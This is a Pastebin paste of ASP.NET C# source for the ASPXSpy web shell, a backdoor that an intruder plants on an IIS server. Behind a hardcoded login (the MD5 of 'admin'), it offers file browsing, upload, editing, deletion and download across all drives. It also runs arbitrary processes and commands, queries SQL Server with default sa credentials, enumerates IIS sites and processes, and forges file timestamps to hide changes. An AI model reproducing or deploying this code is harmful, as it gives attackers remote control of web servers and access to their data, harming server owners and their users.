Advertisement
Guest User

Untitled

a guest
May 7th, 2019
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.85 KB | None | 0 0
  1. <%@ Page Language="C#" Debug="true" trace="false" validateRequest="false" %>
  2. <%@ import Namespace="System.IO" %>
  3. <%@ import Namespace="System.Diagnostics" %>
  4. <%@ import Namespace="System.Data" %>
  5. <%@ import Namespace="System.Data.OleDb" %>
  6. <%@ import Namespace="Microsoft.Win32" %>
  7. <%@ import Namespace="System.Net.Sockets" %>
  8. <%@ Assembly Name="System.DirectoryServices, Version=2.0.0.0, Culture=neutral, PublicKeyToken=B03F5F7F11D50A3A" %>
  9. <%@ import Namespace="System.DirectoryServices" %>
  10. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  11.  
  12. <script runat="server">
  13.  
  14. public string Password = "51ca339564452a19a7f4f0ff8829ab27";//PASS:admin
  15. public string SessionName = "ASPXSpy";
  16. public string Bin_Action = "";
  17. public string Bin_Request = "";
  18. protected OleDbConnection conn = new OleDbConnection();
  19. protected OleDbCommand comm = new OleDbCommand();
  20.  
  21. protected void Page_Load(object sender, EventArgs e)
  22. {
  23.  
  24. if (Session[SessionName] != "BIN")
  25. {
  26. Bin_login();
  27. }
  28. else
  29. {
  30. if (!IsPostBack)
  31. {
  32. Bin_main();
  33. }
  34. else
  35. {
  36.  
  37. Bin_Action = Request["goaction"];
  38. if (Bin_Action == "del")
  39. {
  40. Bin_Request = Request["todo"];
  41. Bin_Filedel(Bin_Request, 1);
  42. }
  43. if (Bin_Action == "change")
  44. {
  45. Bin_Request = Request["todo"];
  46. Bin_FileList(Bin_Request);
  47. }
  48. if (Bin_Action == "deldir")
  49. {
  50. Bin_Request = Request["todo"];
  51. Bin_Filedel(Bin_Request, 2);
  52. }
  53. if (Bin_Action == "down")
  54. {
  55. Bin_Request = Request["todo"];
  56. Bin_Filedown(Bin_Request);
  57. }
  58. if (Bin_Action == "rename")
  59. {
  60. Bin_Request = Request["todo"];
  61. Bin_FileRN(Bin_Request, 1);
  62. }
  63. if (Bin_Action == "renamedir")
  64. {
  65. Bin_Request = Request["todo"];
  66. Bin_FileRN(Bin_Request, 2);
  67. }
  68. if (Bin_Action == "showatt")
  69. {
  70. Bin_Request = Request["todo"];
  71. Bin_Fileatt(Bin_Request);
  72. }
  73. if (Bin_Action == "edit")
  74. {
  75. Bin_Request = Request["todo"];
  76. Bin_FileEdit(Bin_Request);
  77. }
  78. if (Bin_Action == "postdata")
  79. {
  80.  
  81. Bin_Request = Request["todo"];
  82. Session["Bin_Table"] = Bin_Request;
  83. Bin_DataGrid.CurrentPageIndex = 0;
  84. Bin_DBstrTextBox.Text = "";
  85. Bin_Databind();
  86. }
  87. if (Bin_Action == "changedata")
  88. {
  89. Session["Bin_Table"] = null;
  90. Bin_Request = Request["todo"];
  91. Session["Bin_Option"] = Request["intext"];
  92. Bin_Change();
  93. Bin_DBinfoLabel.Visible = false;
  94. Bin_DBstrTextBox.Text = Bin_Request;
  95.  
  96. }
  97. if (Session["Bin_Table"] != null)
  98. {
  99. Bin_Databind();
  100. }
  101.  
  102. }
  103. }
  104. }
  105. public void Bin_login()
  106. {
  107. Bin_LoginPanel.Visible = true;
  108. Bin_MainPanel.Visible = false;
  109. Bin_MenuPanel.Visible = false;
  110. Bin_FilePanel.Visible = false;
  111. Bin_CmdPanel.Visible = false;
  112. Bin_SQLPanel.Visible = false;
  113. Bin_SuPanel.Visible = false;
  114. Bin_IISPanel.Visible = false;
  115. Bin_PortPanel.Visible = false;
  116. Bin_RegPanel.Visible = false;
  117. }
  118. public void Bin_main()
  119. {
  120. TimeLabel.Text = DateTime.Now.ToString();
  121. Bin_PortPanel.Visible = false;
  122. Bin_RegPanel.Visible = false;
  123. Bin_LoginPanel.Visible = false;
  124. Bin_MainPanel.Visible = true;
  125. Bin_MenuPanel.Visible = true;
  126. Bin_FilePanel.Visible = false;
  127. Bin_CmdPanel.Visible = false;
  128. Bin_SQLPanel.Visible = false;
  129. Bin_SuPanel.Visible = false;
  130. Bin_IISPanel.Visible = false;
  131. string ServerIP = "Server IP : "+Request.ServerVariables["LOCAL_ADDR"]+"<br>";
  132. string HostName = "HostName : " + Environment.MachineName + "<br>";
  133. string OS = "OS Version : " + Environment.OSVersion + "</br>";
  134. string IISversion = "IIS Version : " + Request.ServerVariables["SERVER_SOFTWARE"] + "<br>";
  135. string PATH_INFO = "PATH_TRANSLATED : " + Request.ServerVariables["PATH_TRANSLATED"] + "<br>";
  136. InfoLabel.Text = "<hr><center><b><U>SYS-INFO</U></B></center>";
  137. InfoLabel.Text += ServerIP + HostName + OS + IISversion + PATH_INFO + "<hr>";
  138. InfoLabel.Text += Bin_Process() + "<hr>";
  139.  
  140. }
  141. private bool CheckIsNumber(string sSrc)
  142. {
  143. System.Text.RegularExpressions.Regex reg = new System.Text.RegularExpressions.Regex(@"^0|[0-9]*[1-9][0-9]*$");
  144.  
  145. if (reg.IsMatch(sSrc))
  146. {
  147. return true;
  148. }
  149. else
  150. {
  151. return false;
  152. }
  153. }
  154. public string Bin_iisinfo()
  155. {
  156. string iisinfo = "";
  157. string iisstart = "";
  158. string iisend = "";
  159. string iisstr = "IIS://localhost/W3SVC";
  160. int i = 0;
  161. try
  162. {
  163. DirectoryEntry mydir = new DirectoryEntry(iisstr);
  164. iisstart = "<input type=hidden name=goaction><input type=hidden name=todo><TABLE width=100% align=center border=0><TR align=center><TD width=6%><B>Order</B></TD><TD width=20%><B>IIS_USER</B></TD><TD width=25%><B>Domain</B></TD><TD width=30%><B>Path</B></TD></TR>";
  165. foreach (DirectoryEntry child in mydir.Children)
  166. {
  167. if (CheckIsNumber(child.Name.ToString()))
  168. {
  169. string dirstr = child.Name.ToString();
  170. string tmpstr = "";
  171. DirectoryEntry newdir = new DirectoryEntry(iisstr + "/" + dirstr);
  172. DirectoryEntry newdir1 = newdir.Children.Find("root", "IIsWebVirtualDir");
  173. iisinfo += "<TR><TD align=center>" + (i = i + 1) + "</TD>";
  174. iisinfo += "<TD align=center>" + newdir1.Properties["AnonymousUserName"].Value + "</TD>";
  175. iisinfo += "<TD>" + child.Properties["ServerBindings"][0] + "</TD>";
  176. iisinfo += "<TD><a href=javascript:Command('change','" + formatpath(newdir1.Properties["Path"].Value.ToString()) + "');>" + newdir1.Properties["Path"].Value + "</a></TD>";
  177. iisinfo += "</TR>";
  178. }
  179. }
  180. iisend = "</TABLE><hr>";
  181. }
  182. catch (Exception error)
  183. {
  184. Bin_Error(error.Message);
  185. }
  186. return iisstart + iisinfo + iisend;
  187. }
  188. public string Bin_Process()
  189. {
  190. string htmlstr = "<center><b><U>PROCESS-INFO</U></B></center><TABLE width=80% align=center border=0><TR align=center><TD width=20%><B>ID</B></TD><TD align=left width=20%><B>Process</B></TD><TD align=left width=20%><B>MemorySize</B></TD><TD align=center width=10%><B>Threads</B></TD></TR>";
  191. string prostr = "";
  192. string htmlend = "</TR></TABLE>";
  193. try
  194. {
  195. Process[] myprocess = Process.GetProcesses();
  196. foreach (Process p in myprocess)
  197. {
  198. prostr += "<TR><TD align=center>" + p.Id.ToString() + "</TD>";
  199. prostr += "<TD align=left>" + p.ProcessName.ToString() + "</TD>";
  200. prostr += "<TD align=left>" + p.WorkingSet.ToString() + "</TD>";
  201. prostr += "<TD align=center>" + p.Threads.Count.ToString() + "</TD>";
  202. }
  203. }
  204. catch (Exception Error)
  205. {
  206. Bin_Error(Error.Message);
  207. }
  208. return htmlstr + prostr + htmlend;
  209. }
  210. protected void LoginButton_Click(object sender, EventArgs e)
  211. {
  212. string MD5Pass = FormsAuthentication.HashPasswordForStoringInConfigFile(passtext.Text,"MD5").ToLower();
  213. if (MD5Pass == Password)
  214. {
  215. Session[SessionName] = "BIN";
  216. Bin_main();
  217. }
  218. else
  219. {
  220. Bin_login();
  221. }
  222. }
  223.  
  224. protected void LogoutButton_Click(object sender, EventArgs e)
  225. {
  226. Session.Abandon();
  227. Bin_login();
  228. }
  229.  
  230. protected void FileButton_Click(object sender, EventArgs e)
  231. {
  232. Bin_LoginPanel.Visible = false;
  233. Bin_MenuPanel.Visible = true;
  234. Bin_MainPanel.Visible = false;
  235. Bin_FilePanel.Visible = true;
  236. Bin_CmdPanel.Visible = false;
  237. Bin_SQLPanel.Visible = false;
  238. Bin_SuPanel.Visible = false;
  239. Bin_IISPanel.Visible = false;
  240. Bin_PortPanel.Visible = false;
  241. Bin_RegPanel.Visible = false;
  242. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  243. Bin_CopyTextBox.Text = formatpath(Server.MapPath("."));
  244. Bin_upTextBox.Text = formatpath(Server.MapPath("."));
  245. Bin_FileList(Server.MapPath("."));
  246.  
  247. }
  248.  
  249. protected void MainButton_Click(object sender, EventArgs e)
  250. {
  251. Bin_main();
  252. }
  253. public void Bin_DriveList()
  254. {
  255. string file = "<input type=hidden name=goaction><input type=hidden name=todo>";
  256. file += "<hr>Drives : ";
  257. string[] drivers = Directory.GetLogicalDrives();
  258. for (int i = 0; i < drivers.Length; i++)
  259. {
  260. file += "<a href=javascript:Command('change','" + formatpath(drivers[i]) + "');>" + drivers[i] + "</a>&nbsp;";
  261. }
  262. file += " WebRoot : <a href=javascript:Command('change','" + formatpath(Server.MapPath(".")) + "');>" + Server.MapPath(".") + "</a>";
  263. Bin_FileLabel.Text = file;
  264. }
  265.  
  266. public void Bin_FileList(string Bin_path)
  267. {
  268. Bin_FilePanel.Visible = true;
  269. Bin_CreateTextBox.Text = "";
  270. Bin_CopytoTextBox.Text = "";
  271. Bin_CopyTextBox.Text = Bin_path;
  272. Bin_upTextBox.Text = Bin_path;
  273. Bin_IISPanel.Visible = false;
  274. Bin_DriveList();
  275. string tmpstr="";
  276. string Bin_Filelist = Bin_FilelistLabel.Text;
  277. Bin_Filelist = "<hr>";
  278. Bin_Filelist += "<table width=90% border=0 align=center>";
  279. Bin_Filelist += "<tr><td width=40%><b>Name</b></td><td width=15%><b>Size(Byte)</b></td>";
  280. Bin_Filelist += "<td width=25%><b>ModifyTime</b></td><td width=25%><b>Operate</b></td></tr>";
  281. try
  282. {
  283. Bin_Filelist += "<tr><td>";
  284. string parstr = "";
  285. if (Bin_path.Length < 4)
  286. {
  287. parstr = formatpath(Bin_path);
  288.  
  289. }
  290. else
  291. {
  292. parstr = formatpath(Directory.GetParent(Bin_path).ToString());
  293.  
  294. }
  295. Bin_Filelist += "<i><b><a href=javascript:Command('change','" + parstr + "');>|Parent Directory|</a></b></i>";
  296. Bin_Filelist += "</td></tr>";
  297.  
  298. DirectoryInfo Bin_dir = new DirectoryInfo(Bin_path);
  299. foreach (DirectoryInfo Bin_folder in Bin_dir.GetDirectories())
  300. {
  301. string foldername = formatpath(Bin_path) + "/" + formatfile(Bin_folder.Name);
  302. tmpstr += "<tr>";
  303. tmpstr += "<td><a href=javascript:Command('change','" + foldername + "')>" + Bin_folder.Name + "</a></td><td><b><i>&lt;dir&gt;</i></b></td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_folder.Name) + "</td><td><a href=javascript:Command('renamedir','" + foldername + "');>Ren</a>|<a href=javascript:Command('showatt','" + foldername + "/');>Att</a>|<a href=javascript:Command('deldir','" + foldername + "');>Del</a></td>";
  304. tmpstr += "</tr>";
  305. }
  306. foreach (FileInfo Bin_file in Bin_dir.GetFiles())
  307. {
  308. string filename = formatpath(Bin_path) + "/" + formatfile(Bin_file.Name);
  309. tmpstr += "<tr>";
  310. tmpstr += "<td>" + Bin_file.Name + "</td><td>" + Bin_file.Length + "</td><td>" + Directory.GetLastWriteTime(Bin_path + "/" + Bin_file.Name) + "</td><td><a href=javascript:Command('edit','" + filename + "');>Edit</a>|<a href=javascript:Command('rename','" + filename + "');>Ren</a>|<a href=javascript:Command('down','" + filename + "');>Down</a>|<a href=javascript:Command('showatt','" + filename + "');>Att</a>|<a href=javascript:Command('del','" + filename + "');>Del</a></td>";
  311. tmpstr += "</tr>";
  312. }
  313. tmpstr += "</talbe>";
  314. }
  315. catch (Exception Error)
  316. {
  317. Bin_Error(Error.Message);
  318.  
  319. }
  320.  
  321. Bin_FilelistLabel.Text = Bin_Filelist + tmpstr;
  322. }
  323. public void Bin_Filedel(string instr,int type)
  324. {
  325. try
  326. {
  327. if (type == 1)
  328. {
  329. File.Delete(instr);
  330. }
  331. if (type == 2)
  332. {
  333. foreach (string tmp in Directory.GetFileSystemEntries(instr))
  334. {
  335. if (File.Exists(tmp))
  336. {
  337. File.Delete(tmp);
  338. }
  339. else
  340. {
  341. Bin_Filedel(tmp, 2);
  342. }
  343. }
  344. Directory.Delete(instr);
  345. }
  346. }
  347. catch (Exception Error)
  348. {
  349. Bin_Error(Error.Message);
  350. }
  351. Bin_FileList(Bin_upTextBox.Text);
  352. }
  353. public void Bin_FileRN(string instr,int type)
  354. {
  355. try
  356. {
  357. if (type == 1)
  358. {
  359. string[] array = instr.Split(',');
  360.  
  361. File.Move(array[0], array[1]);
  362. }
  363. if (type == 2)
  364. {
  365. string[] array = instr.Split(',');
  366. Directory.Move(array[0], array[1]);
  367. }
  368. }
  369. catch (Exception Error)
  370. {
  371. Bin_Error(Error.Message);
  372. }
  373. Bin_FileList(Bin_upTextBox.Text);
  374. }
  375. public void Bin_Filedown(string instr)
  376. {
  377. try
  378. {
  379. FileStream MyFileStream = new FileStream(instr, FileMode.Open, FileAccess.Read, FileShare.Read);
  380. long FileSize = MyFileStream.Length;
  381. byte[] Buffer = new byte[(int)FileSize];
  382. MyFileStream.Read(Buffer, 0, (int)FileSize);
  383. MyFileStream.Close();
  384. Response.AddHeader("Content-Disposition", "attachment;filename=" + instr);
  385. Response.Charset = "UTF-8";
  386. Response.ContentType = "application/octet-stream";
  387. Response.BinaryWrite(Buffer);
  388. Response.Flush();
  389. Response.End();
  390. }
  391. catch (Exception Error)
  392. {
  393. Bin_Error(Error.Message);
  394. }
  395.  
  396. }
  397. public void Bin_Fileatt(string instr)
  398. {
  399. Bin_AttPanel.Visible = true;
  400. Bin_FilePanel.Visible = true;
  401. try
  402. {
  403. string Att = File.GetAttributes(instr).ToString();
  404. Bin_ReadOnlyCheckBox.Checked = false;
  405. Bin_SystemCheckBox.Checked = false;
  406. Bin_HiddenCheckBox.Checked = false;
  407. Bin_ArchiveCheckBox.Checked = false;
  408.  
  409. if (Att.LastIndexOf("ReadOnly") != -1)
  410. {
  411. Bin_ReadOnlyCheckBox.Checked = true;
  412. }
  413. if (Att.LastIndexOf("System") != -1)
  414. {
  415. Bin_SystemCheckBox.Checked = true;
  416. }
  417. if (Att.LastIndexOf("Hidden") != -1)
  418. {
  419. Bin_HiddenCheckBox.Checked = true;
  420. }
  421. if (Att.LastIndexOf("Archive") != -1)
  422. {
  423. Bin_ArchiveCheckBox.Checked = true;
  424. }
  425. Bin_CreationTimeTextBox.Text = File.GetCreationTime(instr).ToString();
  426. Bin_LastWriteTimeTextBox.Text = File.GetLastWriteTime(instr).ToString();
  427. Bin_AccessTimeTextBox.Text = File.GetLastAccessTime(instr).ToString();
  428. }
  429. catch (Exception Error)
  430. {
  431. Bin_Error(Error.Message);
  432. }
  433. Bin_AttLabel.Text = instr;
  434. Session["FileName"] = instr;
  435. Bin_DriveList();
  436. }
  437. public void Bin_FileEdit(string instr)
  438. {
  439. Bin_FilePanel.Visible = true;
  440. Bin_EditPanel.Visible = true;
  441. Bin_DriveList();
  442. Bin_EditpathTextBox.Text = instr;
  443. StreamReader SR = new StreamReader(instr, Encoding.Default);
  444. Bin_EditTextBox.Text = SR.ReadToEnd();
  445. SR.Close();
  446. }
  447. protected void Bin_upButton_Click(object sender, EventArgs e)
  448. {
  449.  
  450. string uppath = Bin_upTextBox.Text;
  451. if (uppath.Substring(uppath.Length - 1, 1) != @"/")
  452. {
  453. uppath = uppath + @"/";
  454. }
  455. try
  456. {
  457. Bin_UpFile.PostedFile.SaveAs(uppath + Path.GetFileName(Bin_UpFile.Value));
  458.  
  459. }
  460. catch (Exception error)
  461. {
  462. Bin_Error(error.Message);
  463. }
  464. Bin_FileList(uppath);
  465. }
  466. public void Bin_Error(string error)
  467. {
  468. Bin_ErrorLabel.Text = "Error : " + error;
  469. }
  470. public string formatpath(string instr)
  471. {
  472. instr = instr.Replace(@"\", "/");
  473. if (instr.Length < 4)
  474. {
  475. instr = instr.Replace(@"/", "");
  476. }
  477. if (instr.Length == 2)
  478. {
  479. instr = instr + @"/";
  480. }
  481. instr = instr.Replace(" ", "%20");
  482. return instr;
  483. }
  484. public string formatfile(string instr)
  485. {
  486. instr = instr.Replace(" ", "%20");
  487. return instr;
  488.  
  489. }
  490. protected void Bin_GoButton_Click(object sender, EventArgs e)
  491. {
  492. Bin_FileList(Bin_upTextBox.Text);
  493. }
  494.  
  495. protected void Bin_NewFileButton_Click(object sender, EventArgs e)
  496. {
  497. string newfile = Bin_CreateTextBox.Text;
  498. string filepath = Bin_upTextBox.Text;
  499. filepath = filepath + "/" + newfile;
  500. try
  501. {
  502. StreamWriter sw = new StreamWriter(filepath, true, Encoding.Default);
  503.  
  504. }
  505. catch (Exception Error)
  506. {
  507. Bin_Error(Error.Message);
  508. }
  509. Bin_FileList(Bin_upTextBox.Text);
  510. }
  511.  
  512. protected void Bin_NewdirButton_Click(object sender, EventArgs e)
  513. {
  514. string dirpath = Bin_upTextBox.Text;
  515. string newdir = Bin_CreateTextBox.Text;
  516. newdir = dirpath + "/" + newdir;
  517. try
  518. {
  519. Directory.CreateDirectory(newdir);
  520.  
  521. }
  522. catch(Exception Error)
  523. {
  524. Bin_Error(Error.Message);
  525. }
  526. Bin_FileList(Bin_upTextBox.Text);
  527. }
  528.  
  529. protected void Bin_CopyButton_Click(object sender, EventArgs e)
  530. {
  531. string copystr = Bin_CopyTextBox.Text;
  532. string copyto = Bin_CopytoTextBox.Text;
  533. try
  534. {
  535. File.Copy(copystr, copyto);
  536. }
  537. catch (Exception Error)
  538. {
  539. Bin_Error(Error.Message);
  540. }
  541. Bin_CopytoTextBox.Text = "";
  542. Bin_FileList(Bin_upTextBox.Text);
  543. }
  544.  
  545. protected void Bin_CutButton_Click(object sender, EventArgs e)
  546. {
  547. string copystr = Bin_CopyTextBox.Text;
  548. string copyto = Bin_CopytoTextBox.Text;
  549. try
  550. {
  551. File.Move(copystr, copyto);
  552. }
  553. catch (Exception Error)
  554. {
  555. Bin_Error(Error.Message);
  556. }
  557. Bin_CopytoTextBox.Text = "";
  558. Bin_FileList(Bin_upTextBox.Text);
  559. }
  560.  
  561. protected void Bin_SetButton_Click(object sender, EventArgs e)
  562. {
  563. try
  564. {
  565. string FileName = Session["FileName"].ToString();
  566. File.SetAttributes(FileName, FileAttributes.Normal);
  567. if (Bin_ReadOnlyCheckBox.Checked)
  568. {
  569. File.SetAttributes(FileName, FileAttributes.ReadOnly);
  570. }
  571.  
  572. if (Bin_SystemCheckBox.Checked)
  573. {
  574. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.System);
  575. }
  576. if (Bin_HiddenCheckBox.Checked)
  577. {
  578. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Hidden);
  579. }
  580. if (Bin_ArchiveCheckBox.Checked)
  581. {
  582. File.SetAttributes(FileName, File.GetAttributes(FileName) | FileAttributes.Archive);
  583. }
  584. if (FileName.Substring(FileName.Length - 1, 1) == "/")
  585. {
  586. Directory.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  587. Directory.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  588. Directory.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  589. }
  590. else
  591. {
  592. File.SetCreationTime(FileName, Convert.ToDateTime(Bin_CreationTimeTextBox.Text));
  593. File.SetLastWriteTime(FileName, Convert.ToDateTime(Bin_LastWriteTimeTextBox.Text));
  594. File.SetLastAccessTime(FileName, Convert.ToDateTime(Bin_AccessTimeTextBox.Text));
  595. }
  596. }
  597. catch (Exception Error)
  598. {
  599. Bin_Error(Error.Message);
  600. }
  601. Bin_FileList(Bin_upTextBox.Text);
  602. Response.Write("<script>alert('Success!')</sc" + "ript>");
  603. }
  604.  
  605. protected void Bin_EditButton_Click(object sender, EventArgs e)
  606. {
  607. try
  608. {
  609. StreamWriter SW = new StreamWriter(Bin_EditpathTextBox.Text, false, Encoding.Default);
  610. SW.Write(Bin_EditTextBox.Text);
  611. SW.Close();
  612. }
  613. catch (Exception Error)
  614. {
  615. Bin_Error(Error.Message);
  616. }
  617. Bin_FileList(Bin_upTextBox.Text);
  618. Response.Write("<script>alert('Success!')</sc" + "ript>");
  619.  
  620. }
  621.  
  622. protected void Bin_BackButton_Click(object sender, EventArgs e)
  623. {
  624. Bin_FileList(Bin_upTextBox.Text);
  625. }
  626.  
  627. protected void Bin_SbackButton_Click(object sender, EventArgs e)
  628. {
  629. Bin_FileList(Bin_upTextBox.Text);
  630. }
  631.  
  632. protected void Bin_CmdButton_Click(object sender, EventArgs e)
  633. {
  634. Bin_MenuPanel.Visible = true;
  635. Bin_LoginPanel.Visible = false;
  636. Bin_CmdPanel.Visible = true;
  637. Bin_SQLPanel.Visible = false;
  638. Bin_CmdLabel.Text = "";
  639. Bin_SuPanel.Visible = false;
  640. Bin_IISPanel.Visible = false;
  641. Bin_RegPanel.Visible = false;
  642. Bin_PortPanel.Visible = false;
  643. }
  644.  
  645. protected void Bin_RunButton_Click(object sender, EventArgs e)
  646. {
  647. try
  648. {
  649. Process Cmdpro = new Process();
  650. Cmdpro.StartInfo.FileName = Bin_CmdPathTextBox.Text;
  651. Cmdpro.StartInfo.Arguments = Bin_CmdShellTextBox.Text;
  652. Cmdpro.StartInfo.UseShellExecute = false;
  653. Cmdpro.StartInfo.RedirectStandardInput = true;
  654. Cmdpro.StartInfo.RedirectStandardOutput = true;
  655. Cmdpro.StartInfo.RedirectStandardError = true;
  656. Cmdpro.Start();
  657. string cmdstr = Cmdpro.StandardOutput.ReadToEnd();
  658. cmdstr = cmdstr.Replace("<", "&lt;");
  659. cmdstr = cmdstr.Replace(">", "&gt;");
  660. Bin_CmdLabel.Text = "<hr><div id=\"cmd\"><pre>" + cmdstr + "</pre></div>";
  661. }
  662. catch (Exception Error)
  663. {
  664. Bin_Error(Error.Message);
  665. }
  666. }
  667.  
  668. protected void Bin_SQLButton_Click(object sender, EventArgs e)
  669. {
  670. Bin_CmdPanel.Visible = false;
  671. Bin_SQLPanel.Visible = true;
  672. Bin_LoginPanel.Visible = false;
  673. Bin_MenuPanel.Visible = true;
  674. Bin_AccPanel.Visible = false;
  675. Bin_Scroll.Visible = false;
  676. Bin_DBmenuPanel.Visible = false;
  677. Bin_dirPanel.Visible = false;
  678. Bin_SuPanel.Visible = false;
  679. Bin_IISPanel.Visible = false;
  680. Bin_PortPanel.Visible = false;
  681. Bin_RegPanel.Visible =false;
  682. }
  683.  
  684. protected void Bin_SQLRadioButton_CheckedChanged(object sender, EventArgs e)
  685. {
  686. Session["Bin_Table"] = null;
  687. Bin_SQLconnTextBox.Text = "server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB";
  688. Bin_SQLRadioButton.Checked = true;
  689. Bin_AccRadioButton.Checked = false;
  690. Bin_AccPanel.Visible = false;
  691. Bin_DataGrid.Visible = false;
  692. Bin_Scroll.Visible = false;
  693. Bin_DBmenuPanel.Visible = false;
  694. Bin_dirPanel.Visible = false;
  695. }
  696.  
  697. protected void Bin_AccRadioButton_CheckedChanged(object sender, EventArgs e)
  698. {
  699. Session["Bin_Table"] = null;
  700. Bin_SQLconnTextBox.Text = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=E:\wwwroot\database.mdb";
  701. Bin_SQLRadioButton.Checked = false;
  702. Bin_AccRadioButton.Checked = true;
  703. Bin_DBmenuPanel.Visible = false;
  704. Bin_AccPanel.Visible = false;
  705. Bin_DataGrid.Visible = false;
  706. Bin_Scroll.Visible = false;
  707. Bin_dirPanel.Visible = false;
  708.  
  709. }
  710. protected void OpenConnection()
  711. {
  712. if (conn.State == ConnectionState.Closed)
  713. {
  714. try
  715. {
  716. conn.ConnectionString = Bin_SQLconnTextBox.Text;
  717. comm.Connection = conn;
  718. conn.Open();
  719. }
  720. catch (Exception Error)
  721. {
  722. Bin_Error(Error.Message);
  723. }
  724. }
  725. }
  726. protected void CloseConnection()
  727. {
  728. if (conn.State == ConnectionState.Open)
  729. conn.Close();
  730. conn.Dispose();
  731. comm.Dispose();
  732. }
  733. public DataTable Bin_DataTable(string sqlstr)
  734. {
  735. OleDbDataAdapter da = new OleDbDataAdapter();
  736. DataTable datatable = new DataTable();
  737. try
  738. {
  739. OpenConnection();
  740. comm.CommandType = CommandType.Text;
  741. comm.CommandText = sqlstr;
  742. da.SelectCommand = comm;
  743. da.Fill(datatable);
  744. }
  745. catch (Exception)
  746. {
  747. }
  748. finally
  749. {
  750. CloseConnection();
  751. }
  752. return datatable;
  753. }
  754. protected void SQL_SumbitButton_Click(object sender, EventArgs e)
  755. {
  756. try
  757. {
  758. Session["Bin_Table"] = null;
  759. Bin_DataGrid.CurrentPageIndex = 0;
  760. Bin_DataGrid.AllowPaging = true;
  761. if (Bin_SQLRadioButton.Checked)
  762. {
  763. Bin_DBmenuPanel.Visible = true;
  764. Bin_DBinfoLabel.Visible = true;
  765. Bin_AccPanel.Visible = false;
  766. Bin_Scroll.Visible = false;
  767. Bin_dirPanel.Visible = false;
  768. OpenConnection();
  769. DataTable ver = Bin_DataTable(@"SELECT @@VERSION");
  770. DataTable dbs = Bin_DataTable(@"SELECT name FROM master.dbo.sysdatabases");
  771. DataTable cdb = Bin_DataTable(@"SELECT DB_NAME()");
  772. DataTable rol = Bin_DataTable(@"SELECT IS_SRVROLEMEMBER('sysadmin')");
  773. DataTable owner = Bin_DataTable(@"SELECT IS_MEMBER('db_owner')");
  774. string dbo = "";
  775. if (owner.Rows[0][0].ToString() == "1")
  776. {
  777. dbo = "db_owner";
  778. }
  779. else
  780. {
  781. dbo = "public";
  782. }
  783. if (rol.Rows[0][0].ToString() == "1")
  784. {
  785. dbo = "<font color=blue>sa</font>";
  786. }
  787. string db_info = "";
  788. db_info = "<i><b><font color=red>SQLversion</font> : </b></i>" + ver.Rows[0][0].ToString() + "<br><hr>";
  789. string db_name = "";
  790. for (int i = 0; i < dbs.Rows.Count; i++)
  791. {
  792. db_name += dbs.Rows[i][0].ToString().Replace(cdb.Rows[0][0].ToString(), "<font color=blue>" + cdb.Rows[0][0].ToString() + "</font>") + "&nbsp;|&nbsp;";
  793. }
  794. db_info += "<i><b><font color=red>DataBase</font> : </b></i><div style=\"width:760px;word-break:break-all\">" + db_name + "<br><div><hr>";
  795. db_info += "<i><b><font color=red>SRVROLEMEMBER</font></i></b> : " + dbo + "<hr>";
  796. Bin_DBinfoLabel.Text = db_info;
  797. }
  798. if (Bin_AccRadioButton.Checked)
  799. {
  800. Bin_DataGrid.Visible = false;
  801. Bin_SAexecButton.Visible = false;
  802. Bin_Accbind();
  803. }
  804. }
  805. catch (Exception E)
  806. {
  807. Bin_Error(E.Message);
  808. }
  809. }
  810. protected void Bin_Accbind()
  811. {
  812. try
  813. {
  814. Bin_DBmenuPanel.Visible = false;
  815. Bin_AccPanel.Visible = true;
  816. OpenConnection();
  817. DataTable acctable = new DataTable();
  818. acctable = conn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, new Object[] { null, null, null, "Table" });
  819. string accstr = "<input type=hidden name=goaction><input type=hidden name=todo>";
  820. accstr += "Tables Count : " + acctable.Rows.Count + "<br>Please select a database : <SELECT onchange=if(this.value!='')Command('postdata',this);>";
  821. for (int i = 0; i < acctable.Rows.Count; i++)
  822. {
  823. accstr += "<option value=" + acctable.Rows[i].ItemArray[2].ToString() + ">" + acctable.Rows[i].ItemArray[2].ToString() + "</option>";
  824. }
  825. if (Session["Bin_Table"] != null)
  826. {
  827. accstr += "<option SELECTED>" + Session["Bin_Table"] + "</option>";
  828. }
  829. accstr += "</SELECT>";
  830. Bin_AccinfoLabel.Text = accstr;
  831. CloseConnection();
  832. }
  833. catch (Exception Error)
  834. {
  835. Bin_Error(Error.Message);
  836. }
  837. }
  838. protected void Bin_Databind()
  839. {
  840. try
  841. {
  842. Bin_SAexecButton.Visible = false;
  843. Bin_Accbind();
  844. Bin_Scroll.Visible = true;
  845. if (Bin_SQLRadioButton.Checked)
  846. {
  847. Bin_DBmenuPanel.Visible = true;
  848. Bin_DBinfoLabel.Visible = false;
  849. }
  850. Bin_DataGrid.Visible = true;
  851. DataTable databind = Bin_DataTable(@"SELECT * FROM " + Session["Bin_Table"]);
  852. Bin_DataGrid.DataSource = databind;
  853. Bin_DataGrid.DataBind();
  854. }
  855. catch (Exception Error)
  856. {
  857.  
  858. Bin_Error(Error.Message);
  859. }
  860. }
  861.  
  862. public void Bin_ExecSql(string instr)
  863. {
  864. try
  865. {
  866. OpenConnection();
  867. comm.CommandType = CommandType.Text;
  868. comm.CommandText = instr;
  869. comm.ExecuteNonQuery();
  870. }
  871. catch (Exception e)
  872. {
  873. Bin_Error(e.Message);
  874. }
  875. }
  876. public void Item_DataBound(object sender,DataGridItemEventArgs e)
  877. {
  878.  
  879. for (int i = 2; i < e.Item.Cells.Count; i++)
  880. {
  881. e.Item.Cells[i].Text = e.Item.Cells[i].Text.Replace("<", "&lt;").Replace(">", "&gt;");
  882. }
  883.  
  884. }
  885. protected void Bin_DBPage(object sender, DataGridPageChangedEventArgs e)
  886. {
  887. Bin_DataGrid.CurrentPageIndex = e.NewPageIndex;
  888. Bin_Databind();
  889. }
